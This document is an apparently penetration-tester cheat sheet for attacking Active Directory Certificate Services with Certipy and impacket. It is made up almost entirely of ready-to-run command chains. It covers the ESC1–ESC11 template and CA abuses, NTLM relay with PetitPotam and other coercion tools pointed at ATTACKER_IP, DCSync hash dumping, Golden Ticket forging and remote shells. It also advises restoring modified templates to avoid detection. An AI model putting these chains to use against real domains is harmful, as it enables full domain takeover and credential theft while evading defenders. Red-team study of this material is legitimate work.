Quick Reference Table
| ESC | Vulnerability | Tool | Requirement |
|---|---|---|---|
| ESC1 | SAN in template | certipy req | Enroll permission on template |
| ESC2 | Any Purpose EKU | certipy req | Enroll permission |
| ESC3 | Enrollment Agent | certipy req | Agent cert + second request |
| ESC4 | Template write access | certipy template | GenericWrite on template |
| ESC6 | EDITF_ATTRIBUTESUBJECTALTNAME2 on CA | certipy req | Any enroll permission |
| ESC7 | CA Manage Officer | certipy ca | Manage CA / Manage Certificates |
| ESC8 | NTLM relay to /certsrv/ | certipy relay | PetitPotam/coercion |
| ESC9 | No szOID_NTDS_CA_SECURITY_EXT | certipy | UPN mapping abuse |
| ESC11 | Relay to ICPR | certipy relay -ca-pfx | NTLM relay |
AD CS Fundamentals
Active Directory Certificate Services (AD CS) is Microsoft’s PKI (Public Key Infrastructure) implementation. It issues X.509 certificates used for authentication, encryption, and signing within a Windows domain.
Core Components:
- Certificate Authority (CA): Issues, revokes, and manages certificates. Can be Enterprise or Standalone.
- Registration Authority (RA): Intermediary that validates requests before forwarding to CA.
- Certificate Templates: Active Directory objects that define certificate policies — who can enroll, what EKUs are included, and how subject names are built.
- Enrollment Endpoints: HTTP (
/certsrv/), RPC (MS-ICPR), and DCOM interfaces used to request certificates.
Why AD CS Matters for Attackers:
- A valid certificate authenticates via Kerberos (PKINIT) and survives password resets.
- Certificate-based authentication returns a TGT and recoverable NTLM hash.
- Misconfigured templates or CA settings can allow low-privilege users to obtain certificates for any domain account, including Domain Admins.
- Certificates are valid for months or years — they provide long-term persistence.
Common Attack Surface:
- Templates with
ENROLLEE_SUPPLIES_SUBJECTflag — allows attacker-controlled SAN. - Templates with broad enrollment rights (Domain Users, Authenticated Users).
- CA-level flags like
EDITF_ATTRIBUTESUBJECTALTNAME2. - Weak ACLs on templates (GenericWrite, WriteDACL).
- Unauthenticated or HTTP-only enrollment endpoints for relay attacks.
- CA-level permissions that allow managing issued certificates.
Tool: Certipy
Certipy is the primary tool for AD CS enumeration and exploitation from Linux/Kali. It handles enumeration, certificate requests, relay attacks, and authentication.
Installation:
pip3 install certipy-ad
# From source (latest development version)
git clone https://github.com/ly4k/Certipy && cd Certipy && pip3 install .
Verify installation:
certipy -h
certipy version
Dependencies (installed automatically with pip):
impacket— Kerberos, LDAP, SMBldap3— LDAP queriescryptography— cert handlingpyopenssl
Enumeration
Certipy’s find command queries LDAP for all CA objects, certificate templates, and their ACLs. It correlates permissions with vulnerability conditions and flags ESC numbers directly.
Basic enumeration with credentials:
certipy find -u USERNAME@TARGET_DOMAIN -p 'PASSWORD' -dc-ip DC_IP
Output only vulnerable templates:
certipy find -u USERNAME@TARGET_DOMAIN -p 'PASSWORD' -dc-ip DC_IP -vulnerable
With NTLM hash (Pass-the-Hash):
certipy find -u USERNAME@TARGET_DOMAIN -hashes :NTLM_HASH -dc-ip DC_IP -vulnerable
Output to JSON and text files:
certipy find -u USERNAME@TARGET_DOMAIN -p 'PASSWORD' -dc-ip DC_IP -output results
# Creates: results.json and results.txt
With Kerberos (ccache):
KRB5CCNAME=USERNAME.ccache certipy find -k -no-pass -dc-ip DC_IP
Enumerate without saving output (console only):
certipy find -u USERNAME@TARGET_DOMAIN -p 'PASSWORD' -dc-ip DC_IP -stdout
Reading certipy find output — key fields:
[!] Vulnerabilities— lists ESC numbers affecting this template or CAPermissions.Enrollment Rights— which principals can request this templatePermissions.Object Control Permissions— which principals have write access to the template objectmsPKI-Certificate-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT— attacker can supply arbitrary SAN (key ESC1 condition)msPKI-Enrollment-Flag— includesPEND_ALL_REQUESTS(manager approval required),INCLUDE_SYMMETRIC_ALGORITHMSpkiextendedkeyusage— Extended Key Usages;Client Authenticationis required for Kerberos authmsPKI-RA-Signature: 0— no enrollment agent signature requiredRequire Manager Approval: False— direct issuance without approval
Parsing output files:
# Read text output
cat results.txt
# Query JSON for template names
cat results.json | python3 -c "import json,sys; data=json.load(sys.stdin); [print(t.get('Template Name','')) for t in data.get('Certificate Templates',[])]"
Manual LDAP enumeration (alternative, using ldapsearch):
# Enumerate all certificate templates
ldapsearch -H ldap://DC_IP -D 'USERNAME@TARGET_DOMAIN' -w 'PASSWORD' \
-b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=TARGET_DOMAIN,DC=local" \
"(objectClass=pKICertificateTemplate)" \
name msPKI-Certificate-Name-Flag msPKI-Enrollment-Flag pkiextendedkeyusage \
nTSecurityDescriptor
# Enumerate CA objects
ldapsearch -H ldap://DC_IP -D 'USERNAME@TARGET_DOMAIN' -w 'PASSWORD' \
-b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=TARGET_DOMAIN,DC=local" \
"(objectClass=pKIEnrollmentService)" \
name dNSHostName cACertificate
ESC1 — Subject Alternative Name Abuse
Vulnerability condition:
- Template has
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT(msPKI-Certificate-Name-FlagincludesENROLLEE_SUPPLIES_SUBJECT) - Template has
Client AuthenticationEKU (orSmart Card Logon,PKINIT Client Authentication,Any Purpose) - Template requires no manager approval (
msPKI-Enrollment-Flagdoes not includePEND_ALL_REQUESTS) - Low-privilege user has enroll rights (e.g., Domain Users, Authenticated Users)
Impact: Low-privilege user requests a certificate with Administrator@TARGET_DOMAIN as the Subject Alternative Name. The CA issues a valid certificate authenticating as Domain Admin.
Step 1: Request certificate as Administrator (supplying SAN UPN):
certipy req -u USERNAME@TARGET_DOMAIN -p 'PASSWORD' \
-ca CA_NAME \
-template TEMPLATE_NAME \
-upn Administrator@TARGET_DOMAIN \
-dc-ip DC_IP
With NTLM hash:
certipy req -u USERNAME@TARGET_DOMAIN -hashes :NTLM_HASH \
-ca CA_NAME \
-template TEMPLATE_NAME \
-upn Administrator@TARGET_DOMAIN \
-dc-ip DC_IP
With Kerberos:
KRB5CCNAME=USERNAME.ccache certipy req -k -no-pass \
-ca CA_NAME \
-template TEMPLATE_NAME \
-upn Administrator@TARGET_DOMAIN \
-dc-ip DC_IP
Target a different user (e.g., service account with DCSync):
certipy req -u USERNAME@TARGET_DOMAIN -p 'PASSWORD' \
-ca CA_NAME \
-template TEMPLATE_NAME \
-upn svc_account@TARGET_DOMAIN \
-dc-ip DC_IP
Output: administrator.pfx (or named after the UPN target)
Step 2: Authenticate with the certificate — get TGT and NTLM hash:
certipy auth -pfx administrator.pfx -dc-ip DC_IP
Output:
administrator.ccache— Kerberos TGT- NTLM hash printed to stdout
Step 3a: Use TGT for impacket tools:
export KRB5CCNAME=administrator.ccache
# Dump all hashes from DC
secretsdump.py -k -no-pass TARGET_DOMAIN/Administrator@DC_HOSTNAME
# Get shell
psexec.py -k -no-pass TARGET_DOMAIN/Administrator@DC_HOSTNAME
wmiexec.py -k -no-pass TARGET_DOMAIN/Administrator@DC_HOSTNAME
smbexec.py -k -no-pass TARGET_DOMAIN/Administrator@DC_HOSTNAME
Step 3b: Use NTLM hash:
# DCSync with hash
secretsdump.py -hashes :NTLM_HASH TARGET_DOMAIN/Administrator@DC_IP
# Remote shell with hash
psexec.py -hashes :NTLM_HASH TARGET_DOMAIN/Administrator@DC_IP
wmiexec.py -hashes :NTLM_HASH TARGET_DOMAIN/Administrator@DC_IP
Note:
certipy authuses PKINIT — Kerberos pre-authentication with a certificate. If PKINIT is unavailable or the DC does not support it, use the-ldap-shellflag for an LDAP shell via Schannel TLS client authentication instead.
LDAP shell fallback (when PKINIT fails):
certipy auth -pfx administrator.pfx -dc-ip DC_IP -ldap-shell
# Opens interactive LDAP shell — use: set_rbcd, add_user_to_group, etc.
ESC2 — Any Purpose / SubCA EKU
Vulnerability condition:
- Template has
Any PurposeEKU (OID2.5.29.37.0) OR no EKU at all (empty EKU = acts as SubCA) - Low-privilege enroll rights on template
Impact: Certificate with Any Purpose EKU can be used for client authentication even though the template was not explicitly designed for it. Can also be used as an enrollment agent for ESC3.
Request the certificate:
certipy req -u USERNAME@TARGET_DOMAIN -p 'PASSWORD' \
-ca CA_NAME \
-template TEMPLATE_NAME \
-dc-ip DC_IP
Authenticate directly (if Client Authentication is implied):
certipy auth -pfx username.pfx -dc-ip DC_IP
Use as enrollment agent for ESC3 follow-up:
# The resulting PFX can be used in the -pfx flag of a second certipy req
# targeting a template that allows enrollment agent requests
certipy req -u USERNAME@TARGET_DOMAIN -p 'PASSWORD' \
-ca CA_NAME \
-template USER_TEMPLATE \
-on-behalf-of TARGET_DOMAIN\\Administrator \
-pfx username.pfx \
-dc-ip DC_IP
ESC3 — Enrollment Agent Abuse
Vulnerability condition:
- Template 1: Has
Certificate Request AgentEKU (OID1.3.6.1.4.1.311.20.2.1) — enrollment agent template - Template 2: Allows enrollment agents to enroll on behalf of other users (
msPKI-RA-Signature >= 1or Application Policy includes Certificate Request Agent)
Impact: Attacker first obtains an enrollment agent certificate, then uses it to request certificates on behalf of any domain user, including Domain Admin.
Step 1: Obtain enrollment agent certificate:
certipy req -u USERNAME@TARGET_DOMAIN -p 'PASSWORD' \
-ca CA_NAME \
-template ENROLLMENT_AGENT_TEMPLATE \
-dc-ip DC_IP
# Output: username.pfx (enrollment agent certificate)
Step 2: Request certificate on behalf of Administrator:
certipy req -u USERNAME@TARGET_DOMAIN -p 'PASSWORD' \
-ca CA_NAME \
-template USER_TEMPLATE \
-on-behalf-of 'TARGET_DOMAIN\Administrator' \
-pfx username.pfx \
-dc-ip DC_IP
# Output: administrator.pfx
Step 3: Authenticate:
certipy auth -pfx administrator.pfx -dc-ip DC_IP
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass TARGET_DOMAIN/Administrator@DC_HOSTNAME
ESC4 — Template Write Permissions
Vulnerability condition: You have one of the following ACLs on a certificate template object in Active Directory:
GenericAllGenericWriteWriteOwner(take ownership, then grant yourself write)WriteDACL(modify the template’s DACL)
Impact: Attacker modifies the template to introduce ESC1 conditions (adds ENROLLEE_SUPPLIES_SUBJECT flag, removes manager approval, adds Client Authentication EKU), exploits it, then restores the original config.
Step 1: Modify the template (certipy adds ESC1 conditions and saves original):
certipy template -u USERNAME@TARGET_DOMAIN -p 'PASSWORD' \
-template TEMPLATE_NAME \
-save-old \
-dc-ip DC_IP
# Saves original config to: TEMPLATE_NAME.json
# Modifies template to be ESC1-exploitable
Step 2: Request certificate as Administrator (ESC1 exploit on now-modified template):
certipy req -u USERNAME@TARGET_DOMAIN -p 'PASSWORD' \
-ca CA_NAME \
-template TEMPLATE_NAME \
-upn Administrator@TARGET_DOMAIN \
-dc-ip DC_IP
# Output: administrator.pfx
Step 3: Restore original template to avoid detection:
certipy template -u USERNAME@TARGET_DOMAIN -p 'PASSWORD' \
-template TEMPLATE_NAME \
-configuration TEMPLATE_NAME.json \
-dc-ip DC_IP
Step 4: Authenticate:
certipy auth -pfx administrator.pfx -dc-ip DC_IP
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass TARGET_DOMAIN/Administrator@DC_HOSTNAME
Note:
-save-oldsaves the original template configuration as a JSON file namedTEMPLATE_NAME.json. Always restore the template after exploitation to reduce detection surface and avoid breaking legitimate certificate issuance.
WriteOwner path (take ownership first):
# If you only have WriteOwner, use owneredit.py to take ownership
owneredit.py -action write -new-owner 'USERNAME' -target 'TEMPLATE_NAME' \
-dc-ip DC_IP TARGET_DOMAIN/USERNAME:'PASSWORD'
# Then grant yourself GenericWrite using dacledit.py
dacledit.py -action write -rights GenericWrite -principal 'USERNAME' \
-target 'TEMPLATE_NAME' \
-dc-ip DC_IP TARGET_DOMAIN/USERNAME:'PASSWORD'
# Then proceed with certipy template
ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 Flag on CA
Vulnerability condition:
The CA has the EDITF_ATTRIBUTESUBJECTALTNAME2 flag set in its configuration. This flag instructs the CA to honor the SAN: attribute in certificate requests for ANY template, even those without ENROLLEE_SUPPLIES_SUBJECT.
Impact: Any template with Client Authentication EKU effectively becomes ESC1-exploitable. Every enrolled user can specify an arbitrary UPN in their request.
Certipy detection:
certipy find -u USERNAME@TARGET_DOMAIN -p 'PASSWORD' -dc-ip DC_IP
# Look for in CA section:
# [!] Vulnerabilities
# ESC6: ...
# "EDITF_ATTRIBUTESUBJECTALTNAME2 is set"
Exploit: request the default User template with SAN override:
certipy req -u USERNAME@TARGET_DOMAIN -p 'PASSWORD' \
-ca CA_NAME \
-template User \
-upn Administrator@TARGET_DOMAIN \
-dc-ip DC_IP
Any other template with Client Authentication EKU also works:
certipy req -u USERNAME@TARGET_DOMAIN -p 'PASSWORD' \
-ca CA_NAME \
-template Machine \
-upn Administrator@TARGET_DOMAIN \
-dc-ip DC_IP
Authenticate:
certipy auth -pfx administrator.pfx -dc-ip DC_IP
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass TARGET_DOMAIN/Administrator@DC_HOSTNAME
Note: Setting
EDITF_ATTRIBUTESUBJECTALTNAME2is a CA-level configuration change. It affects all templates globally and is a severe misconfiguration. Detection: check CA properties viacertutil -config CA_HOSTNAME\CA_NAME -getreg policy\EditFlagson Windows, or via certipy’s find output.
ESC7 — CA Permissions Abuse (Manage CA / Manage Certificates)
Vulnerability condition:
You have ManageCA or ManageCertificates rights on the CA object itself (not a template). These are CA-level ACLs defined in the CA’s security descriptor.
ManageCA(CA Administrator) — can change CA configuration, enable templates, add officersManageCertificates(CA Officer) — can issue or deny pending certificate requests
Detection via certipy find:
certipy find -u USERNAME@TARGET_DOMAIN -p 'PASSWORD' -dc-ip DC_IP
# In CA section, look for:
# Permissions:
# Access Rights:
# ManageCA: USERNAME or TARGET_DOMAIN\groupname
# ManageCertificates: USERNAME or TARGET_DOMAIN\groupname
Path 1: ManageCA — add yourself as officer (grants ManageCertificates):
certipy ca -u USERNAME@TARGET_DOMAIN -p 'PASSWORD' \
-ca CA_NAME \
-add-officer USERNAME \
-dc-ip DC_IP
Path 2: ManageCA — enable the SubCA template (disabled by default):
certipy ca -u USERNAME@TARGET_DOMAIN -p 'PASSWORD' \
-ca CA_NAME \
-enable-template SubCA \
-dc-ip DC_IP
Path 3: ManageCA — enable EDITF_ATTRIBUTESUBJECTALTNAME2 flag (then ESC6):
certipy ca -u USERNAME@TARGET_DOMAIN -p 'PASSWORD' \
-ca CA_NAME \
-enable-editf-attributesubjectaltname2 \
-dc-ip DC_IP
Full ESC7 chain (ManageCA + ManageCertificates):
# Step 1: Add yourself as officer using ManageCA
certipy ca -u USERNAME@TARGET_DOMAIN -p 'PASSWORD' \
-ca CA_NAME \
-add-officer USERNAME \
-dc-ip DC_IP
# Step 2: Enable the SubCA template
certipy ca -u USERNAME@TARGET_DOMAIN -p 'PASSWORD' \
-ca CA_NAME \
-enable-template SubCA \
-dc-ip DC_IP
# Step 3: Request a SubCA certificate (will be denied — that's expected)
certipy req -u USERNAME@TARGET_DOMAIN -p 'PASSWORD' \
-ca CA_NAME \
-template SubCA \
-upn Administrator@TARGET_DOMAIN \
-dc-ip DC_IP
# Note the Request ID printed in output (e.g., "Request ID is 42")
# Step 4: Issue the denied request using ManageCertificates
certipy ca -u USERNAME@TARGET_DOMAIN -p 'PASSWORD' \
-ca CA_NAME \
-issue-request REQUEST_ID \
-dc-ip DC_IP
# Step 5: Retrieve the now-issued certificate
certipy req -u USERNAME@TARGET_DOMAIN -p 'PASSWORD' \
-ca CA_NAME \
-retrieve REQUEST_ID \
-dc-ip DC_IP
# Output: administrator.pfx
# Step 6: Authenticate
certipy auth -pfx administrator.pfx -dc-ip DC_IP
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass TARGET_DOMAIN/Administrator@DC_HOSTNAME
List enabled templates on CA:
certipy ca -u USERNAME@TARGET_DOMAIN -p 'PASSWORD' \
-ca CA_NAME \
-list-templates \
-dc-ip DC_IP
ESC8 — NTLM Relay to AD CS HTTP Enrollment Endpoint
Vulnerability condition:
- CA has web enrollment enabled (
Certificate Authority Web Enrollmentrole installed) - Web enrollment runs over HTTP (not HTTPS) OR HTTPS without Extended Protection for Authentication (EPA)
- Attacker can coerce NTLM authentication from the DC or another privileged machine
Impact: Relay the DC’s machine account NTLM authentication to the CA’s /certsrv/ endpoint. Obtain a certificate for the DC machine account. Use it to DCSync without touching LSASS.
Step 1: Start certipy relay listener:
# Terminal 1: relay listener
certipy relay -target http://CA_HOSTNAME/certsrv/ -template DomainController
Alternative: ntlmrelayx.py with ADCS support:
# Terminal 1: relay listener
ntlmrelayx.py \
-t http://CA_HOSTNAME/certsrv/certfnsh.asp \
-smb2support \
--adcs \
--template DomainController
Step 2: Coerce DC authentication (Terminal 2):
# PetitPotam with credentials (authenticated coercion)
python3 PetitPotam.py \
-d TARGET_DOMAIN \
-u USERNAME \
-p 'PASSWORD' \
ATTACKER_IP DC_IP
# PetitPotam without credentials (unauthenticated — patched in newer Windows)
python3 PetitPotam.py ATTACKER_IP DC_IP
# PrinterBug (SpoolSample) — alternative coercion method
python3 printerbug.py TARGET_DOMAIN/USERNAME:'PASSWORD'@DC_IP ATTACKER_IP
# Coercer — multi-method coercion tool
coercer coerce -u USERNAME -p 'PASSWORD' -d TARGET_DOMAIN \
-l ATTACKER_IP \
-t DC_IP
Output from certipy relay (or ntlmrelayx):
[*] Requesting certificate for DC_HOSTNAME$ ...
[*] Saved certificate and key to DC_HOSTNAME$.pfx
Step 3: Authenticate as DC machine account:
certipy auth -pfx 'dc_hostname$.pfx' -dc-ip DC_IP
# Prints DC machine account NTLM hash
# Saves: dc_hostname$.ccache
Step 4: DCSync using DC machine account:
# With NTLM hash
secretsdump.py -hashes :DC_MACHINE_NTLM_HASH \
'TARGET_DOMAIN/DC_HOSTNAME$'@DC_IP
# With TGT
export KRB5CCNAME='dc_hostname$.ccache'
secretsdump.py -k -no-pass TARGET_DOMAIN/'DC_HOSTNAME$'@DC_HOSTNAME
Step 5: Use dumped krbtgt hash for Golden Ticket:
ticketer.py -nthash KRBTGT_NTLM_HASH \
-domain-sid DOMAIN_SID \
-domain TARGET_DOMAIN \
Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass TARGET_DOMAIN/Administrator@DC_HOSTNAME
Note: ESC8 is one of the most impactful AD CS attack paths. It allows full domain compromise by relaying the DC machine account’s authentication to the CA — no LSASS access, no Mimikatz, no DCSync permissions needed from a user account. Mitigation: enable HTTPS with EPA on the web enrollment endpoint, or disable web enrollment if unused.
Check if web enrollment is enabled (from Kali):
curl -s -o /dev/null -w "%{http_code}" http://CA_HOSTNAME/certsrv/
# 200 or 401 = web enrollment present
# Connection refused = not enabled
# Check with credentials
curl -s -u 'TARGET_DOMAIN\USERNAME:PASSWORD' http://CA_HOSTNAME/certsrv/
ESC9 — No Security Extension (szOID_NTDS_CA_SECURITY_EXT)
Vulnerability condition:
- Template has
CT_FLAG_NO_SECURITY_EXTENSIONflag set (inmsPKI-Certificate-Name-Flag) - Attacker has
GenericWriteor equivalent on a target user account - CA does not enforce the
szOID_NTDS_CA_SECURITY_EXTsecurity extension (older CAs)
Impact: Without the security extension, certificate-to-account mapping in Active Directory relies solely on the UPN. By temporarily changing a target user’s UPN to Administrator@TARGET_DOMAIN, the attacker requests a certificate bound to that UPN, then restores the original UPN. The certificate authenticates as Administrator.
Step 1: Set target user’s UPN to Administrator’s UPN:
certipy account update \
-u USERNAME@TARGET_DOMAIN \
-p 'PASSWORD' \
-user TARGET_USER \
-upn Administrator@TARGET_DOMAIN \
-dc-ip DC_IP
Step 2: Request certificate as target user (certificate will contain Administrator UPN):
certipy req \
-u TARGET_USER@TARGET_DOMAIN \
-p 'TARGET_PASSWORD' \
-ca CA_NAME \
-template TEMPLATE_NAME \
-dc-ip DC_IP
# Output: target_user.pfx (contains UPN: Administrator@TARGET_DOMAIN)
Step 3: Restore target user’s original UPN:
certipy account update \
-u USERNAME@TARGET_DOMAIN \
-p 'PASSWORD' \
-user TARGET_USER \
-upn TARGET_USER@TARGET_DOMAIN \
-dc-ip DC_IP
Step 4: Authenticate as Administrator using the certificate:
certipy auth -pfx target_user.pfx -domain TARGET_DOMAIN -dc-ip DC_IP
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass TARGET_DOMAIN/Administrator@DC_HOSTNAME
Note: Step 3 (restoring the UPN) is critical. Do it before authenticating. The certificate was already issued with the Administrator UPN embedded — the subsequent UPN change does not invalidate the cert.
ESC11 — Relay to ICPR (MS-ICPR RPC Interface)
Vulnerability condition:
- CA does not require signing on its RPC-based enrollment interface (MS-ICPR)
- Attacker can coerce NTLM authentication from DC or privileged machine
- Similar to ESC8 but targets the RPC interface rather than HTTP
Impact: NTLM relay to the RPC certificate enrollment interface — obtains a DC machine account certificate enabling DCSync.
Step 1: Start certipy relay targeting RPC:
# Terminal 1: relay to RPC interface
certipy relay \
-target rpc://CA_HOSTNAME \
-ca CA_NAME \
-template DomainController
Step 2: Coerce DC authentication:
# Terminal 2: PetitPotam coercion
python3 PetitPotam.py \
-u USERNAME \
-p 'PASSWORD' \
-d TARGET_DOMAIN \
ATTACKER_IP DC_IP
# Or use Coercer for multiple coercion methods
coercer coerce \
-u USERNAME \
-p 'PASSWORD' \
-d TARGET_DOMAIN \
-l ATTACKER_IP \
-t DC_IP
Step 3: Authenticate and DCSync:
certipy auth -pfx 'dc_hostname$.pfx' -dc-ip DC_IP
secretsdump.py -hashes :DC_MACHINE_NTLM_HASH 'TARGET_DOMAIN/DC_HOSTNAME$'@DC_IP
Pass-the-Certificate (PFX to TGT)
Once you have a .pfx certificate file for any domain account, use it to authenticate via PKINIT and obtain a Kerberos TGT and NTLM hash.
Basic authentication:
certipy auth -pfx target.pfx -dc-ip DC_IP
Specify domain explicitly (useful when domain cannot be resolved from cert):
certipy auth -pfx target.pfx -domain TARGET_DOMAIN -dc-ip DC_IP
With password-protected PFX:
certipy auth -pfx target.pfx -password CERT_PASS -dc-ip DC_IP
Specify username (override what’s in the cert):
certipy auth -pfx target.pfx -username Administrator -domain TARGET_DOMAIN -dc-ip DC_IP
Using the resulting ccache:
export KRB5CCNAME=administrator.ccache
# Verify ticket
klist
# Remote shell
psexec.py -k -no-pass TARGET_DOMAIN/Administrator@DC_HOSTNAME
wmiexec.py -k -no-pass TARGET_DOMAIN/Administrator@DC_HOSTNAME
smbexec.py -k -no-pass TARGET_DOMAIN/Administrator@DC_HOSTNAME
atexec.py -k -no-pass TARGET_DOMAIN/Administrator@DC_HOSTNAME whoami
# Dump credentials
secretsdump.py -k -no-pass TARGET_DOMAIN/Administrator@DC_HOSTNAME
# Enumerate with BloodHound
bloodhound-python -k -no-pass \
-d TARGET_DOMAIN \
-dc DC_HOSTNAME \
-c all
Convert PFX to PEM/KEY for other tools:
# Extract certificate (PEM)
openssl pkcs12 -in administrator.pfx -clcerts -nokeys -out administrator.crt -nodes
# Extract private key (PEM)
openssl pkcs12 -in administrator.pfx -nocerts -out administrator.key -nodes
# Use with curl for LDAPS Schannel auth
curl --cert administrator.crt --key administrator.key \
"ldaps://DC_IP/DC=TARGET_DOMAIN,DC=local?samAccountName?sub?(objectClass=user)"
Pass-the-Certificate with gettgtpkinit.py (PKINITtools):
# Install PKINITtools
git clone https://github.com/dirkjanm/PKINITtools && cd PKINITtools && pip3 install .
# Get TGT using certificate
python3 gettgtpkinit.py \
-cert-pfx administrator.pfx \
TARGET_DOMAIN/Administrator \
administrator.ccache
export KRB5CCNAME=administrator.ccache
# Get NTLM hash from TGT (requires TGT from PKINIT)
python3 getnthash.py \
-key AS_REP_KEY \
TARGET_DOMAIN/Administrator
Certipy Cheatsheet — Common Flags
| Flag | Purpose |
|---|---|
-u USER@DOMAIN | Username with domain |
-p PASSWORD | Plaintext password |
-hashes :NTLM | Pass-the-hash (LM:NT or :NT) |
-k -no-pass | Kerberos auth using KRB5CCNAME |
-dc-ip DC_IP | Domain Controller IP address |
-ca CA_NAME | CA name (from certipy find output) |
-template TEMPLATE | Certificate template name |
-upn UPN | Subject Alternative Name UPN for ESC1 |
-dns HOSTNAME | Subject Alternative Name DNS for machine certs |
-pfx file.pfx | Existing PFX cert (for auth or enrollment agent) |
-save-old | Save original template config to JSON (ESC4) |
-configuration FILE | Restore template from JSON (ESC4) |
-vulnerable | Show only vulnerable templates/CAs in find |
-output PREFIX | Output file prefix for find results |
-stdout | Print find results to stdout only |
-on-behalf-of DOMAIN\\USER | Enrollment agent request (ESC3) |
-retrieve REQUEST_ID | Retrieve issued certificate by request ID |
-issue-request REQUEST_ID | Issue pending/denied request (ESC7) |
-add-officer USER | Add user as CA officer (ESC7 ManageCA) |
-enable-template TEMPLATE | Enable template on CA (ESC7 ManageCA) |
-ldap-shell | LDAP shell via Schannel (when PKINIT unavailable) |
-debug | Verbose debug output |
-timeout SECONDS | Request timeout (default: 5) |
Coercion Methods Summary
ESC8 and ESC11 require coercing NTLM authentication from a privileged machine. These are the main tools used from Kali:
PetitPotam (MS-EFSR):
# Install
git clone https://github.com/topotam/PetitPotam
# Authenticated (more reliable, patched for unauthenticated in newer Windows)
python3 PetitPotam.py \
-d TARGET_DOMAIN \
-u USERNAME \
-p 'PASSWORD' \
ATTACKER_IP DC_IP
# Unauthenticated
python3 PetitPotam.py ATTACKER_IP DC_IP
PrinterBug / SpoolSample (MS-RPRN):
# Install impacket-based printerbug
pip3 install impacket
# Coerce via print spooler
python3 printerbug.py 'TARGET_DOMAIN/USERNAME:PASSWORD'@DC_IP ATTACKER_IP
Coercer (multi-protocol):
pip3 install coercer
# Scan for available coercion methods
coercer scan -u USERNAME -p 'PASSWORD' -d TARGET_DOMAIN -t DC_IP
# Coerce authentication
coercer coerce \
-u USERNAME \
-p 'PASSWORD' \
-d TARGET_DOMAIN \
-l ATTACKER_IP \
-t DC_IP
DFSCoerce (MS-DFSNM):
git clone https://github.com/compass-security/DFSCoerce
python3 dfscoerce.py -u USERNAME -p 'PASSWORD' -d TARGET_DOMAIN ATTACKER_IP DC_IP
Full Attack Chain: ESC1 to Domain Admin
A complete, step-by-step chain from low-privilege domain user to Domain Admin via ESC1.
Prerequisites:
- Valid low-privilege domain credentials
- Network access to DC (port 389/LDAP, 88/Kerberos) and CA (port 443 or 80 for enrollment)
- Certipy installed
# Step 1: Enumerate — find vulnerable templates
certipy find \
-u USERNAME@TARGET_DOMAIN \
-p 'PASSWORD' \
-dc-ip DC_IP \
-vulnerable
# Look for ESC1 in output:
# [!] Vulnerabilities
# ESC1: ...
# Template Name: TEMPLATE_NAME
# CA Name: CA_NAME
# Enrollment Rights: Domain Users (or similar low-priv group)
# Step 2: Request certificate for Administrator
certipy req \
-u USERNAME@TARGET_DOMAIN \
-p 'PASSWORD' \
-ca CA_NAME \
-template TEMPLATE_NAME \
-upn Administrator@TARGET_DOMAIN \
-dc-ip DC_IP
# Output: administrator.pfx
# Step 3: Authenticate — get TGT and NTLM hash
certipy auth -pfx administrator.pfx -dc-ip DC_IP
# Output:
# [*] Got hash for 'administrator@TARGET_DOMAIN': aad3b435b51404eeaad3b435b51404ee:NTLM_HASH
# [*] Saved credential cache to 'administrator.ccache'
# Step 4: DCSync to dump all hashes
secretsdump.py \
-hashes :NTLM_HASH \
TARGET_DOMAIN/Administrator@DC_IP
# Or with TGT
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass TARGET_DOMAIN/Administrator@DC_HOSTNAME
# Step 5 (optional): Pass-the-Hash for interactive shell
psexec.py -hashes :NTLM_HASH TARGET_DOMAIN/Administrator@DC_IP
# Or with TGT
psexec.py -k -no-pass TARGET_DOMAIN/Administrator@DC_HOSTNAME
Full Attack Chain: ESC8 to Domain Admin (NTLM Relay)
A complete relay attack chain requiring network position between victim and CA.
Prerequisites:
- Attacker machine on same network segment as domain systems
- HTTP (not HTTPS+EPA) web enrollment on CA
- Ability to coerce DC authentication (PetitPotam, PrinterBug, etc.)
# Terminal 1: Start relay listener
certipy relay \
-target http://CA_HOSTNAME/certsrv/ \
-template DomainController
# Terminal 2: Coerce DC authentication toward attacker
python3 PetitPotam.py \
-d TARGET_DOMAIN \
-u USERNAME \
-p 'PASSWORD' \
ATTACKER_IP DC_IP
# After relay completes — Terminal 1 shows:
# [*] Saved certificate and key to 'dc_hostname$.pfx'
# Authenticate as DC machine account
certipy auth -pfx 'dc_hostname$.pfx' -dc-ip DC_IP
# Output: DC machine account NTLM hash
# DCSync
secretsdump.py \
-hashes :DC_MACHINE_NTLM_HASH \
'TARGET_DOMAIN/DC_HOSTNAME$'@DC_IP
Troubleshooting
“KDC has no support for PKINIT” error:
# Use LDAP shell instead of PKINIT
certipy auth -pfx administrator.pfx -dc-ip DC_IP -ldap-shell
Clock skew too great (Kerberos time sync):
# Sync system time with DC
sudo ntpdate DC_IP
# Or
sudo timedatectl set-ntp off
sudo date -s "$(curl -sI DC_IP | grep -i date | cut -d' ' -f2-)"
Certificate request denied (manager approval required):
# Template has PEND_ALL_REQUESTS flag — ESC4 to modify template, or ESC7 if you have ManageCA
# Check with certipy find — "Requires Manager Approval: True"
“CERTSRV_E_TEMPLATE_DENIED” — not allowed to enroll:
# Your user is not in the template's enrollment rights
# Check which groups can enroll:
certipy find -u USERNAME@TARGET_DOMAIN -p 'PASSWORD' -dc-ip DC_IP -vulnerable
# Look at "Enrollment Rights" for the target template
PFX is password protected (from ntlmrelayx):
# ntlmrelayx sets default password "password" on PFX
certipy auth -pfx administrator.pfx -password password -dc-ip DC_IP
# Convert to unprotected PFX
openssl pkcs12 -in administrator.pfx -out admin_nopass.pfx -nodes -password pass:password
certipy auth -pfx admin_nopass.pfx -dc-ip DC_IP
Certipy find returns no templates:
# Try authenticating to a different DC or specifying a target domain
certipy find -u USERNAME@TARGET_DOMAIN -p 'PASSWORD' -dc-ip DC_IP -target TARGET_DOMAIN
# Or increase verbosity for debugging
